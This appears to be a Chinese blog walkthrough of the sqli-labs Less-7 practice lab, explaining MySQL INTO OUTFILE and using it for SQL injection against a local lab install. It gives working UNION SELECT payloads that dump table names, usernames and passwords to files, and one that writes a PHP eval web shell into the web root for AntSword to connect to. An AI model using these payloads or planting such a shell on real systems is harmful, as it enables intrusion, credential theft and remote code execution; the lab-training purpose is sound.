[网络安全]sqli-labs Less-7 解题详析

简介: [网络安全]sqli-labs Less-7 解题详析

into outfile

开始做题前,先了解一下什么是into outflie命令

INTO OUTFILE 命令是用于将查询结果写入到一个文件中的 MySQL 查询语句。它可以将查询结果保存为文本文件,供进一步处理或导出使用。

以下是 INTO OUTFILE 命令的基本语法:

SELECT column1, column2, ...
INTO OUTFILE 'filename'
FROM table_name
WHERE condition;
  • column1, column2, ...:要选择的列。
  • 'filename':指定要输出的文件路径和名称。注意,MySQL 服务器必须有写入该文件的权限,并且必须是绝对路径。
  • table_name:要查询的数据库表名。
  • WHERE condition:可选,用于筛选查询结果的条件。

例如,假设我们有一个名为 customers 的数据库表,其中包含 nameemail 列。如果要将符合特定条件的数据输出到文件中,可以使用以下查询:

SELECT name, email
INTO OUTFILE '/qiu.txt'
FROM customers
WHERE age > 30;

这将把年龄大于 30 的客户的姓名和电子邮件输出到 /qiu.txt 文件中。

判断注入类型

单引号回显error

尝试双引号:

但输入?id=1" and 1=2 --+时仍正常回显:

说明不是单纯的单引号/双引号注入

常用的闭合符号

SQL语句原代码:
'$id'
"$id"
('$id')
("$id")
(('id'))
闭合代码:
1' #
1" #
1') #
") #
')) #

?id=1')) and 1=1 --+ 回显正常

?id=1')) and 1=2 --+ 回显错误

可判断注入语句为$sql="SELECT * FROM users WHERE id=(('$id'))";


判断注入点个数

GET1')) order by 3 --+,回显如下:

GET1')) order by 4 --+,回显如下:

故注入点为3个


查库名

联合查询(注入点为3)+into outfile

我们写入文件时,应选择数据库中有写入权限的目录

模板:?id=1')) union select (sql语句) into outfile '路径' --+

于是构造:?id=1')) union select 1,2,database() into outfile 'D:\\Software\\PHPStudy\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\1.txt' --+

执行该语句后访问D:\\Software\\PHPStudy\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\目录,打开1.txt文件,得到导出的数据库名

注意:payload中目录的分隔符可以是\、//、/ 但不能是 \


查表名

Payload:?id=1')) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() into outfile 'D:\\Software\\PHPStudy\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\2.txt' --+

步骤同上:


查users表的列名

Payload:?id=1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() into outfile 'D:\\Software\\PHPStudy\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\3.txt' --+

步骤同上:


查字段

Payload:?id=1')) union select 1,group_concat(username),group_concat(password) from users into outfile 'D:\\Software\\PHPStudy\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\4.txt' --+

获取账号及密码,步骤同上:


如果我们并不能直接从本机的目录上访问这些txt文件,该怎么办?

既然我们可以上传文件,同样地,也可以一句话连接蚁剑

模板:?id=1')) union select 1,2,'一句话木马' into outfile '路径\\a.php' --+(三个注入点)

Payload:?id=1')) union select 1,2,'<?php eval($_POST[qiushuo]);?>' into outfile 'D:\\Software\\PHPStudy\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\a.php' --+

然后删除非必要的代码

连接蚁剑:

访问txt文件:


总结

以上为[网络安全]sqli-labs Less-7 解题详析,后续将分享[网络安全]sqli-labs Less-8 解题详析

原理及姿势可参考:[网络安全]SQL注入原理及常见攻击方法简析

我是秋说,我们下次见。

目录
相关文章
|
22天前
|
网络协议 Unix Linux
【网络安全 | 信息收集】操作系统判定及端口扫描(全网最详析)
【网络安全 | 信息收集】操作系统判定及端口扫描(全网最详析)
35 0
|
22天前
|
安全 网络协议 网络安全
【网络安全 | 渗透工具/信息收集/域名爆破】SubDomainsBrute安装及使用详析
【网络安全 | 渗透工具/信息收集/域名爆破】SubDomainsBrute安装及使用详析
21 0
|
22天前
|
网络安全
【网络安全 | 渗透工具/信息收集/域名爆破】Layer子域名挖掘机安装及使用详析
【网络安全 | 渗透工具/信息收集/域名爆破】Layer子域名挖掘机安装及使用详析
61 0
|
22天前
|
Oracle 关系型数据库 MySQL
【网络安全 | 渗透工具】Hydra工具安装、使用详析
【网络安全 | 渗透工具】Hydra工具安装、使用详析
25 0
|
22天前
|
网络安全 数据安全/隐私保护
【网络安全 | 靶场搭建】基于Kali的FTP搭建流程及FileZilla连接、报错详析
【网络安全 | 靶场搭建】基于Kali的FTP搭建流程及FileZilla连接、报错详析
18 0
|
22天前
|
安全 Java 网络安全
【网络安全 | 扫描器】御剑安装及使用教程详析
【网络安全 | 扫描器】御剑安装及使用教程详析
23 0
|
22天前
|
Web App开发 算法 网络安全
【网络安全 | Misc】解码工具Koczkatamas及CyberChef安装及使用详析
【网络安全 | Misc】解码工具Koczkatamas及CyberChef安装及使用详析
27 0
|
22天前
|
存储 安全 生物认证
【网络安全 | 指纹识别工具】WhatWeb使用详析
【网络安全 | 指纹识别工具】WhatWeb使用详析
10 0
【网络安全 | 指纹识别工具】WhatWeb使用详析
|
22天前
|
网络安全 虚拟化
【网络安全 | 工具】Kali虚拟机安装教程及报错详析
【网络安全 | 工具】Kali虚拟机安装教程及报错详析
31 0
【网络安全 | 工具】Kali虚拟机安装教程及报错详析
|
22天前
|
前端开发 安全 JavaScript
【网络安全 | 网安工具】御剑WEB指纹识别系统使用详析
【网络安全 | 网安工具】御剑WEB指纹识别系统使用详析
15 0